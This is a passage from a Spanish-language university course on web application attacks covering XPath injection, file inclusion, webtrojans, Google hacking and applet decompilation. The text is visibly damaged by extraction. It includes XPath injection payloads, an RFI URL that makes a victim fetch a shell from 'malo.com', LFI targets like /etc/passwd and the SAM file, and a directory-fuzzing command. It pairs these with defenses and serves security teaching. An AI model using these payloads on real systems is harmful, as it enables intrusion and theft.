Grossman J et al (2007) Xss Attacks Cross Site Scripting Exploits And Defense Ed Syngress
Scambray J Shema M and Sima C (2006) Hacking Expose Web Applications Ed Mc-Graw-HillOsborne Media
Stuttard D (2007) The Web Application Hackers Handbook Discovering and Exploiting Secu-rity Flaws Ed Wiley
CC-BY-NC-ND bull PID_00191662 50 Ataques a aplicaciones web
En este caso nos encontramos claramente ante una aplicacioacuten vulnerable a
Blind XPath Injection pero si aun asiacute queremos estar seguros de que se trata de
un motor XML y no SQL podemos utilizar funciones como count() la
cual devuelve el nuacutemero total de nodos en el aacuterbol que siempre deberiacutea tener
al menos 1 nodo
bull Inyeccioacuten de cadena alsquo or count()gt0 or lsquoarsquo=rsquob
bull Inyeccioacuten numeacuterica 0 or count()gt0 or 1=1
Tambieacuten es posible la utilizacioacuten de operadores OR en mayuacutesculas ya que
estos no son aceptados en buacutesquedas XML y siacute que lo son en buacutesquedas SQL
(estas admiten operadores tanto en minuacutesculas como en mayuacutesculas) de tal
modo que se podriacutea concluir si el motor de buacutesqueda trabaja con XML
bull Motor SQL lsquo OR 1=1 OR lsquorsquo=rsquo
bull Motor SQLXML lsquo or 1=1 or lsquorsquo=rsquo
Si con esta prueba obtenemos un resultado positivo no hay duda de que es un
sistema XML es vulnerable y ademaacutes es posible extraer todo el aacuterbol XML
iquestcoacutemo utilizando teacutecnicas de ldquobooleanizacioacutenrdquo
El primer paso a la hora de empezar un ataque para descargarse el aacuterbol seriacutea
sacar los valores del nodo raiacutez que contiene el resto de los nodos Los pasos
que habriacutea que realizar seriacutean los siguientes
1) Extraer el nombre del nodo
2) Extraer los atributos del nodo
3) Comprobar si es un elemento3 En caso positivo obtener el valor
4) Calcular el nuacutemero de nodos hijos que contiene el nodo que se estaacute anali-
zando
5) Volver a realizar el paso lsquo1rsquo con los nodos extraiacutedos en el paso lsquo4rsquo
Para extraer el nombre del nodo primero seriacutea necesario calcular el nuacutemero de
caracteres del mismo Esto se puede hacer utilizando la funcioacuten string-length
[PATH]childnode()[position()=[NUMNODO] and string-length (name())gt[NUMERO]]
Donde [PATH] seriacutea el nodo a analizar [NUMNODO] el nuacutemero de nodo (ya
que puede haber varios nodos con el mismo nombre dentro del mismo padre)
y [NUMERO] seriacutea la longitud del nombre del nodo De este modo utilizando
fuerza bruta y teacutecnicas de optimizacioacuten como la buacutesqueda binaria seriacutea posi-
ble sacar la longitud del nombre de la siguiente manera
(3)Si el nodo es un elemento nopuede contener subnodos por loque los pasos 4 y 5 no se realiza-riacutean
CC-BY-NC-ND bull PID_00191662 51 Ataques a aplicaciones web
or childnode()[position()=1 and string-length(name())gt20] or 1=1 and =
or childnode()[position()=1 and string-length(name())gt10] or 1=1 and =
or childnode()[position()=1 and string-length(name())gt5] or 1=1 and =
or childnode()[position()=1 and string-length(name())gt7] or 1=1 and =
or childnode()[position()=1 and string-length(name())gt9] or 1=1 and =
or childnode()[position()=1 and string-length(name())=8] or 1=1 and =
Una vez se sabe que la longitud del nodo son ocho caracteres se puede sacar
el nombre del nodo siguiendo el mismo mecanismo teacutecnicas de ldquobooleaniza-
cioacutenrdquo e imaginacioacuten
or childnode()[position()=1 and starts-with(name()a)] or 1=1 and =
or childnode()[position()=1 and starts-with(name()b)] or 1=1 and =
or childnode()[position()=1 and starts-with(name()c)] or 1=1 and =
or childnode()[position()=1 and starts-with(name()u)] or 1=1 and =
or childnode()[position()=1 and starts-with(name()ua)] or 1=1 and =
or childnode()[position()=1 and starts-with(name()ub)] or 1=1 and =
or childnode()[position()=1 and starts-with(name()us)] and =
or childnode()[position()=1 and starts-with(name()usu)] and =
Seriacutea el mismo proceso para cada letra del nombre utilizando un charset de
caracteres y extraer cada caraacutecter desde la posicioacuten 1 hasta la posicioacuten maacutexi-
ma que seriacutea la longitud del nombre extraiacuteda inicialmente
Los pasos para extraer los atributos y elementos seriacutean exactamente los mis-
mos pero variando la consulta XPath con las siguientes plantillas
1) Para extraer informacioacuten referente a los nodos
bull Longitud del nombre
[PATH]childnode()[position()=[NUMNODO] and
string-length(name())gt[NUMERO]]
bull Nombre del nodo
[PATH]childnode()[position()=[NUMNODO] and
starts-with(name()[VALORES])]
bull Nuacutemero de subnodos
count([PATH]childnode())gt[NUMERO]
2) Para extraer la informacioacuten de los atributos
bull Nuacutemero de atributos de un nodo
count([PATH]childnode()[[NUMNODO]])gt[NUMERO]
CC-BY-NC-ND bull PID_00191662 52 Ataques a aplicaciones web
bull Longitud del nombre del atributo
[PATH]childnode()[position()=[NUMNODO]] and
string-length([PATH]childnode()
[[NUMNODO]][position()=[NUMATT] and
string-length(name())gt[NUMERO]])gt0
bull Longitud del valor del atributo
[PATH]childnode()[position()=[NUMNODO]] and
string-length([PATH]childnode()
[[NUMNODO]][position()=[NUMATT]])gt[NUMERO]
bull Nombre del atributo
[PATH]childnode()[position()=[NUMNODO]] and
[PATH]childnode()[[NUMNODO]][position()=[NUMATT] and
starts-with(name()[VALORES])
bull Valor del atributo
[PATH]childnode()[position()=[NUMNODO]] and
starts-with([PATH]childnode()
[[NUMNODO]][position()=[NUMATT]] [VALORES])
3) Para extraer el contenido de un nodo los elementos
bull Longitud del elemento
string-length([PATH]childtext())gt[NUMERO]
bull Valor del elemento
starts-with([PATH]childtext()[VALORES])
Esta teacutecnica puede resultar muy tediosa y lenta si se realiza manualmente pero
para ello ya existen herramientas que hacen este proceso de forma automaacuteti-
ca y ademaacutes utilizan teacutecnicas de optimizacioacuten como reduccioacuten del charset
para encontrar los datos realizando un reducido nuacutemero de consultas
Implementar una reduccioacuten de charset es algo simple basta con hacer una
query por cada caraacutecter y comprobar si ese caraacutecter existe en alguacuten nodo ele-
mento o atributo del aacuterbol En caso negativo se elimina ese caraacutecter del char-
set Esto puede hacerse con la siguientes query
[contains(name() a)] or [contains(name() a)]
or attribute[contains(a)] or contains( a)
Si esta nos devuelve un resultado positivo se mantiene la letra lsquoarsquo en el charset
de letras a probar sin embargo si nos devuelve la paacutegina que hemos asociado
a una peticioacuten falsa podremos eliminar el caraacutecter a del resto de pruebas a
realizar pues ya sabremos que nunca va a aparecer
CC-BY-NC-ND bull PID_00191662 53 Ataques a aplicaciones web
Otra teacutecnica interesante para la optimizacioacuten del Blind XPath Injection es el
de ldquolearn wordsrdquo de modo que cuando se extrae el nombre de un nodo ele-
mento o atributo se guarda en una lista Cuando se encuentre otro nodoele-
mentoatributo de una longitud de nombre igual a la de alguacuten elemento ya
extraiacutedo hacer comprobaciones con los nodos ya conocidos pues es probable
que si tienen la misma longitud tengan el mismo nombre
En la siguiente imagen se muestra una herramienta en funcionamiento una
vez descargado el aacuterbol XML de una aplicacioacuten web vulnerable
Figura 41 Aacuterbol XML extraiacutedo mediante una aplicacioacutenautomatizada
232 iquestCoacutemo protegerse de teacutecnicas de XPath Injection
La proteccioacuten contra este tipo de teacutecnicas es muy simple y debe correr de
la mano del programador de la aplicacioacuten Uacutenicamente hay que realizar un
filtrado de las entradas teniendo en cuenta dos factores
bull Si la entrada es numeacuterica antes de formar la query comprobar que el valor
introducido en la entrada es un valor numeacuterico y no una cadena de texto
bull Si la entrada es de texto remplazar los caracteres peligrosos como la comi-
lla simple y doble por rsquo y rdquo
CC-BY-NC-ND bull PID_00191662 54 Ataques a aplicaciones web
3 Ataques de Path Transversal
Mediante las teacutecnicas de Path Transversal se va a lograr acceder a in-
formacioacuten referente al servidor desde simplemente el directorio donde
se estaacute ejecutando la aplicacioacuten web hasta lograr descargar ficheros del
servidor Cada uno de estos fallos recibe un nombre y lo estudiaremos
por separado
La informacioacuten obtenida puede ser usada por un atacante para lograr acceder
a otros recursos de la paacutegina mediante alguacuten tipo de ingenieriacutea social o dedu-
ciendo posibles nombres de ficheros yo carpetas para posteriormente acceder
a ellos
Vamos a analizar desde los menos peligrosos hasta los maacutes criacuteticos viendo
coacutemo unos se apoyan en los anteriores y coacutemo en cierta medida dependen
unos de los otros y realmente estaacuten muy relacionados entre siacute
31 Path Disclosure
Este problema no es especiacutefico de una tecnologiacutea sino que puede darse en
cualquier lenguaje de programacioacuten y en cualquier tecnologiacutea de servidor Es-
ta vulnerabilidad no es criacutetica por siacute misma pero puede facilitar las cosas a
un atacante que intente cualquiera de los fallos que se comentaraacuten posterior-
mente
El concepto es lograr conocer la ruta en la que se estaacute ejecutando la apli-
cacioacuten Para ello nos valdremos de mensajes de error (provocados o no)
que contengan rutas a ficheros Esto lo lograremos introduciendo carac-
teres erroacuteneos en los paraacutemetros o accediendo a rutas que no existan
Figura 42 Fallo de Path Disclosure
CC-BY-NC-ND bull PID_00191662 55 Ataques a aplicaciones web
Este mensaje de error puede darse al intentar reproducir cualquiera de los de-
maacutes fallos explicados en esta seccioacuten Normalmente los lenguajes de progra-
macioacuten del lado del servidor si no tienen los errores controlados mostraraacuten
un mensaje de error predefinido que usualmente contiene la ruta del fichero
afectado
Evitar este tipo de errores es tan sencillo como generar nuestras propias paacutegi-
nas de error Tambieacuten controlar cualquier tipo de excepcioacuten en el coacutedigo es
buena praacutectica En definitiva no dejar que los mensajes por defecto se mues-
tren nunca al usuario
CC-BY-NC-ND bull PID_00191662 56 Ataques a aplicaciones web
4 Ataques de inyeccioacuten de ficheros
41 Remote file inclusion
Remote file inclusion es la vulnerabilidad consistente en ejecutar coacutedigo
remoto dentro de la aplicacioacuten vulnerable Se basa en la idea de que al
igual que es posible cargar un fichero local para su inclusioacuten dentro de la
paacutegina podriacuteamos cargar uno remoto que contuviese coacutedigo malicioso
Esto es posible en lenguajes interpretados donde podemos incluir un fichero
con coacutedigo y antildeadirlo a la ejecucioacuten En el siguiente ejemplo se toma como
base una paacutegina programada en PHP
httpwwwmipaginacommostrarphppag=indexphp
PHP hace uso de funciones que permiten la inclusioacuten de ficheros externos
para generar paacuteginas maacutes complejas y maacutes completas En el hipoteacutetico ejemplo
anterior el fichero mostrarphp hariacutea uso de alguna de estas funciones de PHP
que permiten la inclusioacuten dinaacutemica de ficheros
bull include($pag)
bull require($pag)
bull include_once($pag)
bull require_once($pag)
Estas funciones reciben un paraacutemetro (llamado $pag en este ejemplo) que in-
dica la ruta del fichero que ha de incluirse Si la variable pag no estaacute suficien-
temente controlada podremos hacer una llamada a un fichero externo que se
descargaraacute e interpretaraacute en el lado del servidor
httpwwwmipaginacommostrarphppag=httpmalocomshelltxt
En la llamada anterior el servidor mipaginacom solicitaraacute a malocom el
fichero shelltxt que incluiraacute coacutedigo PHP vaacutelido que se ejecutaraacute en
mipaginacom
Este fallo se debe a una mala configuracioacuten del servidor PHP el cual permite la
inclusioacuten de ficheros externos La configuracioacuten correcta deberiacutea ser la prohi-
bicioacuten total de realizar estas acciones
CC-BY-NC-ND bull PID_00191662 57 Ataques a aplicaciones web
Para establecer una configuracioacuten adecuada en el inteacuterprete de PHP debemos
buscar el fichero phpini de configuracioacuten (en Linux suele estar en etc
php5phpini) y establecer la clave de configuracioacuten allow_url_include
a false
Este fallo de seguridad puede dar lugar a que un atacante logre ejecutar cual-
quier coacutedigo deseado en el servidor web con los riesgos que esto conlleva
Existen ficheros ya pregenerados para ser incluidos dentro del flujo de ejecu-
cioacuten de la aplicacioacuten web Van desde un simple inteacuterprete de comandos a una
completa shell equipada con su propio explorador de ficheros opciones pa-
ra subir o descargar ficheros e incluso la posibilidad de ejecutar programas en
el equipo remoto
Figura 43 Shell remota ejecutaacutendose
Existe una gran variedad de shells remotas que podemos encontrar en Internet
Por ejemplo la shell mostrada en la figura anterior se llama c99 aunque existen
otras como la r57 o c100 De todas maneras siempre podemos programarnos
una propia con la funcionalidad que necesitemos
42 Local file inclusion
Esta vulnerabilidad al contrario que la anterior afecta tanto a lenguajes com-
pilados como interpretados Se basa en la posibilidad de incluir dentro de la
paacutegina un fichero local del usuario con el que se ejecuta el servidor de aplica-
ciones web que tenga permisos de lectura
Esta vulnerabilidad puede ocurrir en cualquier lugar de un sitio web pero suele
ser maacutes comuacuten en dos sitios bien diferenciados
bull Paacuteginas de plantillas carga un fichero desde otro y le da formato
CC-BY-NC-ND bull PID_00191662 58 Ataques a aplicaciones web
bull Paacuteginas de descargas recibe un paraacutemetro con el nombre del fichero a
descargar y lo enviacutea al cliente
El concepto tras ambos fallos es el mismo y las implementaciones defectuo-
sas a veces tambieacuten Para lograr explotar esta vulnerabilidad de una manera
satisfactoria deberiacuteamos poder hacer llamadas a ficheros fuera de la ruta ori-
ginal Esto lo hariacuteamos intentando incluir ficheros de un directorio superior
usando los caracteres en sistemas Linux o en sistemas Windows maacutes
el nombre de un fichero del que conozcamos su existencia Por ejemplo sos-
pechamos que la siguiente URL tiene un fallo de local file inclusion
httpwwwvictimacomnoticiasdetallephpid=4amptipo=deportesphp
Entonces para corroborarlo y determinar que efectivamente nos encontramos
frente a un fallo de remote file inclusion podriacuteamos modificar la URL hasta que
quedase como sigue
httpwwwvictimacomnoticiasdetallephpid=4amptipo=indexphp
Con esta simple comprobacioacuten podriacuteamos detectar si una paacutegina va a ser vul-
nerable a local file inclusion
Esta teacutecnica se puede ampliar (si los permisos lo permiten y no se aplica el
concepto del miacutenimo privilegio) a ficheros fuera del directorio de la aplicacioacuten
web y empezar a incluir ficheros del propio sistema operativo Esto nos per-
mitiraacute obtener maacutes informacioacuten sobre el equipo
Para localizar sin equivocaciones los ficheros podemos usar un fallo de Path
Disclosure para que nos deacute informacioacuten sobre la ruta local donde se ubican
estos De todas maneras y si no sabemos la ruta relativa de un fichero frente
a la paacutegina vulnerable podemos usar las rutas directas4
Existen muchos ficheros interesantes a los que acceder mediante esta teacutecnica
dependiendo de los objetivos del atacante Ademaacutes estos variaraacuten entre distin-
tos sistemas operativos A continuacioacuten se detallan algunos de estos ficheros
como muestra de la informacioacuten que podemos llegar a obtener
bull etcpasswd Fichero de usuarios en sistemas Linux Contiene un com-
pendio de los usuarios existentes asiacute como datos relativos a ellos como
nombre o directorio del home
bull etchosts Permite guardar informacioacuten sobre equipos proacuteximos Suele
contener una lista de nombre e IPS internos que nos permiten obtener una
mejor idea de la estructura interna de una organizacioacuten
bull CWindowsrepairSAM La SAM es el fichero que contiene los nombres
de usuarios y claves de los usuarios de un sistema Windows En la carpeta
(4)Una ruta directa es la que inclu-ye todo el nombre del fichero
CC-BY-NC-ND bull PID_00191662 59 Ataques a aplicaciones web
Repair se almacena una copia del fichero SAM para poder recuperarla en
caso de error del sistema
bull El propio fichero vulnerable Es muy instructivo descargar el propio fichero
vulnerable mediante el fallo de local file inclusion para poder aprender de
los problemas de otros
Para evitar que esta teacutecnica tenga mayor impacto es importante pensar en
montar el servidor con el miacutenimo privilegio posible limitando la posibilidad
de acceso a ficheros del servidor dentro de su propia carpeta con lo que lo-
gramos evitar el acceso a ficheros del sistema aunque no a ficheros propios
de la aplicacioacuten
Figura 44 Ejemplo de local file inclusion
Si queremos hacer una proteccioacuten mediante programacioacuten en lugar de contro-
larlo mediante permisos en el servidor hay que tener en cuenta que las rutas
a ficheros se pueden escribir de dos maneras
bull Directa Escribimos la ruta donde se encuentra el fichero directamente
Deberiacuteamos por tanto eliminar los caracteres o de los datos enviados
por los usuarios
bull Relativa Usamos la canonizacioacuten para subir hacia directorios superiores
mediante el uso de o Lo podriacuteamos evitar excluyendo ademaacutes
de lo anterior los puntos
43 Webtrojans
Una de las funcionalidades maacutes extendidas en paacuteginas web medianamente
complejas es la posibilidad de subir ficheros al servidor imaacutegenes documentos
en PDF ficheros de viacutedeo etc
Cuando un usuario nos enviacutea un fichero debemos comprobar que lo que nos
enviacutea es un fichero legiacutetimo es decir si estamos esperando la llegada de un
fichero con una imagen es necesario comprobar que lo que recibimos es real-
mente una imagen y no otro tipo de fichero
CC-BY-NC-ND bull PID_00191662 60 Ataques a aplicaciones web
Si no comprobamos los ficheros que se nos enviacutean podriacuteamos estar copiando
en nuestro servidor un fichero malintencionado conocido como webtrojan5
Existen multitud de shells remotas en distintos lenguajes a disposicioacuten de cual-
quiera Estas shells suelen ser detectadas por los antivirus para evitar que pasen
desapercibidas a administradores despistados pero pueden ser ldquocamufladasrdquo
dentro de otros ficheros
El ejemplo maacutes claro de coacutemo camuflar un fichero de estos es incluirlo tras
una cabecera de una imagen donde algunos servidores son capaces de ejecutar
el coacutedigo
Figura 45 Webtrojan oculto dentro de un fichero GIF
En la imagen anterior se puede ver coacutemo un fichero gif abierto con un visor
de textos deja a la vista coacutedigo PHP que va a generar una puerta trasera para
subir cualquier tipo de fichero
Para evitar este tipo de problemas debemos comprobar siempre no solo la ex-
tensioacuten sino tambieacuten la cabecera del fichero para corroborar que es del tipo
que nosotros hemos permitido Una buena praacutectica es la de establecer noso-
tros mediante programacioacuten la extensioacuten de los ficheros que se nos suben
evitando que alguien pueda subir un fichero y establecerlo con extensiones
como ASP o PHP
(5)Es una shell remota que pode-mos subir a un servidor aprove-chando un fallo de seguridad
CC-BY-NC-ND bull PID_00191662 61 Ataques a aplicaciones web
5 Google Hacking
Google indexa hoy en diacutea millones de paacuteginas web y no entiende de zonas
privadas ni restringidas Todo aquello que esteacute enlazado a alguacuten sitio y sea
accesible estaraacute en Google Si conocemos coacutemo funciona Google (y en general
los buscadores) podremos acceder a mucha informacioacuten que ni siquiera sus
propietarios saben que se encuentra ahiacute
Es por esta razoacuten por lo que saber coacutemo hacer preguntas a Google sobre la
informacioacuten que nos interesa es muy importante permitieacutendonos recopilar
mucha informacioacuten sobre un sitio web sin necesidad de realizar en principio
ninguna peticioacuten al servidor en cuestioacuten
Google ofrece varios filtros que nos permitiraacuten afinar la buacutesqueda que quere-
mos realizar y que combinados unos con otros alcanzan una potencia mucho
mayor
bull +ltpalabragt Incluir un + (maacutes) delante de una palabra requiere la presencia
obligatoria de esta palabra en las paacuteginas devueltas
bull -ltpalabragt Con un siacutembolo ndash (menos) delante de una palabra excluye
todos los resultados que contengan esa palabra
bull ldquoltpalabrasgtrdquo Al colocar una frase entre comillas dobles buscamos cadenas
completas de texto dentro de los resultados
bull Se puede usar el caraacutecter con el significado de que puede aparecer cual-
quier palabra dentro de una frase entrecomillada
bull intitlelttextogt Permite buscar en el tiacutetulo de la paacutegina
bull inurllttextogt Realiza las buacutesquedas en la URL de la paacutegina
bull intextlttextogt Busca el texto en el cuerpo de las paacuteginas devueltas
bull filetypeltextensioacutengt Restringe la buacutesqueda a la extensioacuten especifi-
cada
bull domainltdominiogt Limita los resultados al dominio especificado Se
puede usar solo el identificador del paiacutes (como es)
Con estos filtros y combinaacutendolos entre siacute podemos lograr encontrar cualquier
cosa que esteacute en Internet
CC-BY-NC-ND bull PID_00191662 62 Ataques a aplicaciones web
Figura 46 Resultados de la buacutesqueda +usersmdb intitlerdquoIndex ofrdquo
Google Hacking Database es una base de datos de buacutesquedas de corroborada
eficacia que permite obtener datos interesantes referentes a ficheros de confi-
guracioacuten zonas privadas dispositivos conectados a la red software vulnera-
ble etc
Usando este tipo de buacutesquedas se puede llegar a conocer muchiacutesimos datos
de un servidor Uno de los ejemplos maacutes claros es la posibilidad de localizar
subdominios de un dominio dado mediante buacutesquedas recursivas Vamos a
realizar un ejemplo para que quede demostrada la utilidad de estas teacutecnicas
Para empezar se selecciona un dominio en este caso se ha elegido el dominio
uoces y se ejecuta la siguiente buacutesqueda
siteuocedu
Esta buacutesqueda devuelve 587000 resultados Evidentemente todas estas paacutegi-
nas no pertenecen solo a un dominio sino que habraacute distintos sitios implica-
dos
El proceso es simple Consiste en ver cuaacutel es el subdominio del primer resul-
tado devuelto y antildeadirlo con un siacutembolo ndash (menos) delante Por ejemplo
-www siteuoces
Excluyendo el subdominio www de las buacutesquedas obtendremos un nuacutemero de
paacuteginas devueltas de 631000 Siguiendo este proceso llegaremos hasta generar
una buacutesqueda que no nos devuelva ninguacuten resultado una aproximacioacuten seriacutea
la siguiente
-acc -rusc -elcrps -blogs -personal -eprints -cataleg -osrt -clab -unescochair -elearning
-multimedia -edulab -net -itol -gres -red -lletra -laboralcentrodearte -lpg -elconcept
-biblioteca -comein -foto -guatemala -einflinux1 -cicr -campus -icesd -laos -xequia
CC-BY-NC-ND bull PID_00191662 63 Ataques a aplicaciones web
-dpcs -cimanet -comoras -marroc -colleague -colloque -xina -macedonia -oliba -cv
-www -biblio siteuoces
Cabe recordar que hasta este momento y mediante esta teacutecnica en ninguacuten
momento se ha realizado ninguna peticioacuten directa hacia el dominio uoces
por lo que seriacutea imposible conocer quieacuten estaacute intentando averiguar informa-
cioacuten sobre nuestro dominio
Otras buacutesquedas que podemos encontrar aquiacute son las que nos pueden devolver
todos los ficheros ofimaacuteticos del servidor tales como ficheros doc xls pdf
etc
Estos ficheros en sus distintas versiones incluyen mayor o menor cantidad
de metadatos que tienen informacioacuten acerca de nombres de usuarios o rutas
locales del ordenador donde se generoacute el fichero Con toda esta informacioacuten
un atacante podriacutea empezar a utilizar un programa de fuerza bruta para inten-
tar sacar las contrasentildeas
CC-BY-NC-ND bull PID_00191662 64 Ataques a aplicaciones web
6 Seguridad por ocultacioacuten
Es habitual esconder una llave ldquode emergenciardquo en alguacuten lugar cercano a la
puerta de una casa para que dado el caso podamos entrar si hemos perdido
nuestra llave Evidentemente esto no es nada seguro pues cualquier persona
que la encuentre podraacute acceder al igual que nosotros a nuestra casa
Este siacutemil con la vida real sirve para enlazar la idea con una aplicacioacuten web
Es comuacuten entre los programadores web usar directorios especiacuteficos para acti-
vidades especiacuteficas como la administracioacuten las zonas de pruebas o la subida
de ficheros temporales Algunas de las maacutes comunes son
bull admin
bull logs
bull uploads
bull phpmyadmin
bull tmp
Estos directorios se pueden descubrir mediante pruebas manuales o haciendo
uso de alguacuten programa tipo fuzzer6 que realice las peticiones por nosotros
En este caso lo vamos a usar para automatizar la buacutesqueda de directorios con
nombres conocidos
Wfuzz es un programa de este tipo realiza conexiones a un servidor web sus-
tituyendo en la zona de la URL que nosotros especifiquemos una cadena de
texto que va cogiendo liacutenea tras liacutenea de un fichero de texto
Se puede descargar gratuitamente y lo vamos a usar para realizar una demos-
tracioacuten de los datos que se pueden llegar a obtener mediante esta herramienta
Vamos a aprender a usarla pues la sintaxis es simple
wfuzzexe -z file -f wordlistscommontxt --hc 404 httpwwwvictimacomFUZZ
La liacutenea anterior representa una ejecucioacuten tiacutepica del programa Wfuzz y nos va
a servir como ejemplo para determinar cuaacuteles son los paraacutemetros maacutes uacutetiles a la
hora de realizar un anaacutelisis mediante esta herramienta Con estos paraacutemetros
estaremos indicaacutendole al programa que
bull -z Use el payload de tipo fichero Esto es los nombres de las carpetas ocul-
tas que vamos a buscar se van a coger desde un fichero de texto
(6)Un programa fuzzer es un pro-grama que automatiza tareas repe-titivas
CC-BY-NC-ND bull PID_00191662 65 Ataques a aplicaciones web
bull -f El nombre del fichero que se va a usar En este caso hemos seleccionado
el fichero commontxt que acompantildea al programa y que contiene una lista
de los nombres maacutes comunes de directorios ocultos
bull --hc 404 El paraacutemetro hc nos permite eliminar resultados de la salida del
programa en base al coacutedigo HTTP que se devuelva En el ejemplo se ha
usado el coacutedigo 404 por ser el coacutedigo asociado a los errores en el protocolo
HTTP Tambieacuten se pueden establecer filtros por nuacutemero de liacuteneas (--hl) y
palabras (--hw) que contiene una paacutegina por si nos encontramos con un
servidor que devuelva siempre una paacutegina con coacutedigo 200
bull httpwwwvictimacomFUZZ Allaacute donde coloquemos la palabra fuzz se-
raacute donde el programa incluya en cada peticioacuten la palabra siguiente del fi-
chero especificado
Figura 47 Resultado de la ejecucioacuten del programa Wfuzz
En la imagen anterior apreciamos coacutemo el programa ha detectado una serie
de directorios en el servidor analizado De estos directorios los de ldquopasswordrdquo
y ldquotestrdquo pueden resultar interesantes para comenzar a realizar una revisioacuten de
seguridad
Otra manera de encontrar directorios y ficheros ocultos en una aplicacioacuten es la
buacutesqueda del fichero robotstxt Este fichero es usado por los administradores
de sitios web para evitar que Google y otros buscadores indexen zonas que
no desean
CC-BY-NC-ND bull PID_00191662 66 Ataques a aplicaciones web
Figura 48 Ejemplo de fichero robotstxt
El problema es que mucha gente no entiende completamente el concepto de
este fichero antildeadiendo a eacutel todas las rutas que no quieren que se indexen
aunque no esteacuten enlazados desde ninguacuten sitio (recordemos que los buscado-
res solo indexan si se realiza un enlace desde alguacuten sitio) Por ello podemos
encontrarnos con ficheros robotstxt que contienen referencias a zonas admi-
nistrativas de pruebas privadas
Otro fichero que puede darnos mucha informacioacuten y que al contrario de
los anteriores es informacioacuten puacuteblica es el fichero sitemapxml El fichero
sitemapxml es un fichero propuesto por Google como una manera de indi-
carle al buscador cuaacuteles son las paacuteginas maacutes interesantes de un sitio web y
cuaacuteles son las menos actualizadas Esta informacioacuten parece obvia y podemos
descubrirla nosotros mismos navegando por la paacutegina Sin embargo es de vital
importancia pues nos ahorra tiempo en navegar por el sitio y con una sola
peticioacuten obtenemos un esquema de la estructura del mismo A continuacioacuten
se muestra un ejemplo de un fichero sitemapxml
ltxml version=10 encoding=UTF-8gt
lturlset xmlns=httpwwwsitemapsorgschemassitemap09gt
lturlgt
ltlocgthttpwwwacomltlocgt
ltlastmodgt2005-01-01ltlastmodgt
ltchangefreqgtmonthlyltchangefreqgt
ltprioritygt08ltprioritygt
lturlgt
lturlgt
ltlocgthttpwwwacomnewsltlocgt
ltchangefreqgtweeklyltchangefreqgt
lturlgt
lturlgt
ltlocgthttpwwwacomarchiveltlocgt
ltlastmodgt2004-12-23ltlastmodgt
changefreqgtweeklyltchangefreqgt
CC-BY-NC-ND bull PID_00191662 67 Ataques a aplicaciones web
lturlgt
lturlgt ltlocgthttpwwwacomfaqltlocgt
ltlastmodgt2004-12-23T180015+0000ltlastmodgt
ltprioritygt03ltprioritygt
lturlgt
lturlgt ltlocgthttpwwwacomaboutltlocgt
ltlastmodgt2004-11-23ltlastmodgt
lturlgt
lturlsetgt
61 Descompiladores de applets web
611 Flash
Flash se ha puesto cada vez maacutes de moda como una manera de ofrecer una
interfaz atractiva al usuario final En la actualidad hay multitud de paacuteginas
que hacen un uso casi abusivo de esta tecnologiacutea Pero debemos tener en con-
sideracioacuten algo importante y es que Flash no es maacutes que la capa de presenta-
cioacuten sobre la capa de datos y nunca una uacutenica capa que se encarga de todo
aunque a veces ocurre
Es por ello por lo que estas paacuteginas en Flash si cargan datos dinaacutemicamente
han de llamar a paacuteginas que se los devuelvan en funcioacuten de los paraacutemetros
proporcionados Estos paraacutemetros podriacutean ser vulnerables a las inyecciones de
coacutedigo que se comentaron anteriormente Estas llamadas a ficheros externos
se pueden observar faacutecilmente usando un sniffer del protocolo HTTP
Un ejemplo claro de esto son las paacuteginas que usan un reproductor de audio
en Flash y en las que podemos descargar los ficheros mp3 sin necesidad de ver
el coacutedigo fuente del fichero Flash
CC-BY-NC-ND bull PID_00191662 68 Ataques a aplicaciones web
Figura 49 Captura del fichero mp3 reproducido desde unreproductor web
Tambieacuten es posible en ficheros Flash la descompilacioacuten de los ficheros dando
lugar a un pseudocoacutedigo legible que permitiriacutea a un atacante conocer coacutemo
actuacutea internamente el fichero Ademaacutes es posible convertir el coacutedigo a un en-
samblador de ActionScript7 que podemos modificar y volver a compilar daacuten-
donos la posibilidad por ejemplo de incluir coacutedigo Javascript dentro de un
fichero Flash
Existen muacuteltiples programas para realizar esta accioacuten y aquiacute vamos a mostrar
coacutemo realizar esto mediante el programa Flasm de descarga gratuita
La aplicacioacuten se ejecuta desde consola Recibe el paraacutemetro ndashd para descompi-
lar el fichero swf que recibe Al volcar el coacutedigo por pantalla necesitamos redi-
rigir hacia un fichero de texto la salida del programa En este ejemplo vamos
a realizar la accioacuten con un pequentildeo juego Flash
Figura 50 Ejecucioacuten del comando flasmexe
Este comando parsea el fichero swf y extrae el coacutedigo asociado a eacutel Logra
extraer el coacutedigo y convertirlo en un lenguaje parecido al ensamblador
(7)Es el lenguaje usado internamen-te para programar las aplicacio-nes Flash Tiene una sintaxis pare-cida a Javascript y es un lenguajeinterpretado lo cual significa quepodemos lograr extraer el coacutedigofuente original del fichero swf
CC-BY-NC-ND bull PID_00191662 69 Ataques a aplicaciones web
Figura 51 Volcado del coacutedigo del fichero swf
Conocer el coacutedigo fuente de un fichero swf nos puede ayudar a entender coacutemo
funciona la aplicacioacuten a buscar fallos de seguridad en el coacutedigo o a localizar las
URL a las que hace referencia para cargar informacioacuten dentro de la aplicacioacuten
Flash Una vez localizadas estas URL seriacutea cuestioacuten de probar sobre ellas los
fallos de seguridad comentados en capiacutetulos anteriores
612 Java
Al igual que con los ficheros Flash aunque con menos popularidad en la ac-
tualidad existen los llamados applets Java pequentildeas aplicaciones que se eje-
cutan dentro de nuestro navegador
Java se ejecuta sobre una maacutequina virtual se puede ejecutar el mismo coacutedigo
en cualquier ordenador que implemente la maacutequina virtual de Java Esto tiene
muchas ventajas a la hora de exportar nuestra aplicacioacuten Sin embargo esto
tambieacuten nos permite poder extraer el coacutedigo exactamente igual que lo haciacutea-
mos en Flash
Para realizar esta accioacuten existen programas que efectuacutean esta conversioacuten y nos
muestran el coacutedigo Java original En la captura siguiente el programa usado
es Java Decompiler un programa gratuito que nos permitiraacute realizar estas ac-
ciones
CC-BY-NC-ND bull PID_00191662 70 Ataques a aplicaciones web
Figura 52 Pantalla principal del Java Decompiler
613 NET
Microsoft ha sumado su plataforma NET a la web Existen las aplicaciones
ASPNET que se ejecutan del lado del servidor y que no vamos a poder auditar
maacutes allaacute de los paraacutemetros que reciba Sin embargo estaacute poco a poco expan-
dieacutendose una nueva tecnologiacutea llamada Silverlight Silverlight es un compila-
do NET que se carga desde el servidor mediante un plugin en nuestro navega-
dor Esto al igual que Flash y Java nos permite analizar el coacutedigo fuente de
la aplicacioacuten Silverlight
Figura 53 Aplicacioacuten de muestra de Silverlight
CC-BY-NC-ND bull PID_00191662 71 Ataques a aplicaciones web
En la captura anterior se puede observar una aplicacioacuten Silverlight muy simple
